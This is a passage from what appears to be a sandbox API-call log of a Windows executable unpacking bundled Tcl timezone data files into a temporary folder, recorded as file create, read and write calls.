0x10c [0038.947] GetFileType (hFile=0x10c) returned 0x1 [0038.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.948] CloseHandle (hObject=0x10c) returned 1 [0038.948] GetLastError () returned 0x0 [0038.948] SetLastError (dwErrCode=0x0) [0038.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.948] GetFileType (hFile=0x10c) returned 0x1 [0038.948] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.948] CloseHandle (hObject=0x10c) returned 1 [0038.948] GetLastError () returned 0x0 [0038.949] SetLastError (dwErrCode=0x0) [0038.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.949] GetFileType (hFile=0x10c) returned 0x1 [0038.949] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.949] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.949] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.949] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.949] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.949] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.949] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.949] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.949] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.949] CloseHandle (hObject=0x10c) returned 1 [0038.949] GetLastError () returned 0x0 [0038.949] SetLastError (dwErrCode=0x0) [0038.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay") returned 78 [0038.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\vevay"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.949] GetLastError () returned 0x2 [0038.949] SetLastError (dwErrCode=0x2) [0038.949] GetLastError () returned 0x2 [0038.949] SetLastError (dwErrCode=0x2) [0038.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay", lpFilePart=0x0) returned 0x4d [0038.949] GetLastError () returned 0x2 [0038.949] SetLastError (dwErrCode=0x2) [0038.949] GetLastError () returned 0x2 [0038.949] SetLastError (dwErrCode=0x2) [0038.950] GetLastError () returned 0x2 [0038.950] SetLastError (dwErrCode=0x2) [0038.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay") returned 78 [0038.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vevay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\vevay"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.950] GetFileType (hFile=0x10c) returned 0x1 [0038.950] htonl (hostlong=0xce180000) returned 0x18ce [0038.950] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.951] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.951] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8ce, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8ce, lpOverlapped=0x0) returned 1 [0038.952] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.952] CloseHandle (hObject=0x10c) returned 1 [0038.952] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.952] htonl (hostlong=0x40000000) returned 0x40 [0038.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.952] GetFileType (hFile=0x10c) returned 0x1 [0038.952] htonl (hostlong=0xf74e5900) returned 0x594ef7 [0038.953] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dfef7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.953] htonl (hostlong=0x95050000) returned 0x595 [0038.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x595) returned 0x550600 [0038.953] htonl (hostlong=0x95050000) returned 0x595 [0038.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.953] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.953] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b50) returned 0x561090 [0038.953] htonl (hostlong=0x95050000) returned 0x595 [0038.953] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.953] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562be8 [0038.953] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562be8 | out: hHeap=0x530000) returned 1 [0038.953] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.953] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.953] CloseHandle (hObject=0x10c) returned 1 [0038.953] GetLastError () returned 0x0 [0038.953] SetLastError (dwErrCode=0x0) [0038.953] GetLastError () returned 0x0 [0038.953] SetLastError (dwErrCode=0x0) [0038.953] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.953] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.953] GetFileType (hFile=0x10c) returned 0x1 [0038.953] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.953] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.954] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.954] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.954] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.954] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.954] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.954] CloseHandle (hObject=0x10c) returned 1 [0038.954] GetLastError () returned 0x0 [0038.954] SetLastError (dwErrCode=0x0) [0038.954] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.954] GetFileType (hFile=0x10c) returned 0x1 [0038.954] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.954] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.959] CloseHandle (hObject=0x10c) returned 1 [0038.959] GetLastError () returned 0x0 [0038.959] SetLastError (dwErrCode=0x0) [0038.959] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.960] GetFileType (hFile=0x10c) returned 0x1 [0038.960] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.960] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.960] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.960] CloseHandle (hObject=0x10c) returned 1 [0038.960] GetLastError () returned 0x0 [0038.960] SetLastError (dwErrCode=0x0) [0038.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana") returned 72 [0038.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.960] GetFileType (hFile=0x10c) returned 0x1 [0038.960] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.960] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.960] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.960] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.961] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.961] CloseHandle (hObject=0x10c) returned 1 [0038.961] GetLastError () returned 0x0 [0038.961] SetLastError (dwErrCode=0x0) [0038.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes") returned 82 [0038.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\vincennes"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.961] GetLastError () returned 0x2 [0038.961] SetLastError (dwErrCode=0x2) [0038.961] GetLastError () returned 0x2 [0038.961] SetLastError (dwErrCode=0x2) [0038.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes", lpFilePart=0x0) returned 0x51 [0038.961] GetLastError () returned 0x2 [0038.961] SetLastError (dwErrCode=0x2) [0038.961] GetLastError () returned 0x2 [0038.961] SetLastError (dwErrCode=0x2) [0038.961] GetLastError () returned 0x2 [0038.961] SetLastError (dwErrCode=0x2) [0038.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes") returned 82 [0038.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Indiana\\Vincennes" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\indiana\\vincennes"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.961] GetFileType (hFile=0x10c) returned 0x1 [0038.962] htonl (hostlong=0x501b0000) returned 0x1b50 [0038.962] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.963] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb50, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb50, lpOverlapped=0x0) returned 1 [0038.963] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.963] CloseHandle (hObject=0x10c) returned 1 [0038.963] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.963] htonl (hostlong=0x40000000) returned 0x40 [0038.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.964] GetFileType (hFile=0x10c) returned 0x1 [0038.964] htonl (hostlong=0x8c545900) returned 0x59548c [0038.964] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e048c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.964] htonl (hostlong=0xbc050000) returned 0x5bc [0038.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5bc) returned 0x550600 [0038.964] htonl (hostlong=0xbc050000) returned 0x5bc [0038.964] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.964] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, 